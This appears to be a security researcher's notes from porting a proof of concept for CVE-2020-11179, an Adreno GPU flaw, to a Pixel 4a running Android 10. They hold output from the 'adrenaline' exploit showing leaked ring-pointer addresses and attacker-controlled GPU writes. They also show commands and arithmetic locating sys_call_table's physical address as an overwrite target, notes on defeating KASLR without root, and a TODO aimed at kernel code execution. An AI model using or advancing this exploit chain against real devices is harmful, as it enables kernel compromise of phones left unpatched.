################################################################# # initial conversion P0 C++ poc # test device: pixel 4a # android 10 on build QD4A.2000317.027 # vuln patched in dec 2020, CVE-2020-11179 ################################################################# # intial output from adb shell as user shell sunfish:/data/local/tmp $ ./adrenaline starting adrenaline_rptr_child rptr base is 0xfc0df000 starting adrenaline starting adrenaline_parent starting adrenaline_child # from run.sh starting adrenaline_rptr_child rptr base is 0xfc526000 starting adrenaline starting adrenaline_parent rptr base is 0xfc526000 starting adrenaline starting adrenaline_child ################################################################# # output with hexdump of buffers sunfish:/data/local/tmp # ./adrenaline starting adrenaline_rptr_child 00000000 20 30 40 fc 00 00 00 00 00 00 00 00 00 00 00 00 | 0@.............| rptr base is 0xfc403000 starting adrenaline starting adrenaline_parent starting adrenaline_child 00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............| 00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........| ################################################################# # after running once, rptr is out of mapping range, not sure why? # that 70e5 addr is constant on 2nd run adrenaline_rptr: 0x70e50000 is out of global mapping range starting adrenaline_rptr_child ################################################################ # after adding ability to pass rptr as arg # no out of mapping error # but 2nd time rptr leak errrors out still, strange behavior # but proof you can cause multiple gpu writes # 59|sunfish:/data/local/tmp # ./adrenaline Usage: ./adrenaline No arg will run leak_rptr starting adrenaline_rptr_child 00000000 01 00 e5 70 00 00 00 00 00 00 00 00 00 00 00 00 |...p............| adrenaline_rptr: 0x70e50000 is out of global mapping range 59|sunfish:/data/local/tmp # ./adrenaline 0xfc403000 rptr is passed as 0xfc403000 rptr base is 0xfc403000 starting adrenaline starting adrenaline_parent starting adrenaline_child 00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............| 00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........| sunfish:/data/local/tmp # ############################################################################# # poc note to calculate target addr to overwrite * the target physical page (0x821D9000) corresponds to sys_call_table, which is at * a fixed physical address that you can calculate by taking the base of "Kernel Code" * from /proc/iomem and then adding (sys_call_table - _text) from /proc/kallsyms */ ############################################################################# # from phone # note that, 0x80080000 is a very standard kernel load addr sunfish:/data/local/tmp # cat /proc/iomem | grep Kernel 80080000-8239ffff : Kernel code 82990000-83138fff : Kernel data sunfish:/data/local/tmp # cat /proc/kallsyms | head ffffff9139080000 t _head ffffff9139080000 T _text ffffff9139081000 t do_undefinstr.cfi ffffff9139081000 T _stext sunfish:/data/local/tmp # cat /proc/kallsyms | grep sys_call_table ffffff913b1a5000 r sys_call_table ffffff913b1a9000 r compat_sys_call_table # from kallsyms.txt $ cat pixel4a_kallsyms.txt | grep _text | head ffffff8008080000 T _text ffffff8008081000 T __exception_text_start ffffff8008082074 T __exception_text_end $ cat pixel4a_kallsyms.txt | grep sys_call_table | head ffffff800a1a5000 r sys_call_table ffffff800a1a9000 r compat_sys_call_table # calculate phys addr: $ python Python 3.8.10 (default, Sep 11 2024, 16:02:53) # addr from phone, you can see aslr was applied >>> hex(0x80080000+(0xffffff913b1a5000-0xffffff9139080000)) '0x821a5000' # addr via boot.img kallsyms # note the addrs are the same >>> hex(0x80080000+(0xffffff800a1a5000-0xffffff8008080000)) '0x821a5000' # ################################################################# # without root # you would need an arb read or leak # that showed you 1) cat /proc/iomem | grep Kernel 80080000-8239ffff : Kernel code 2) some way to derandomize kallsyms - that would give you _text and sys_call_table - via offset and the kaslr slide ################################################################# # TODO: # work on context switch and race condition # to achieve kernel code exec #################################################################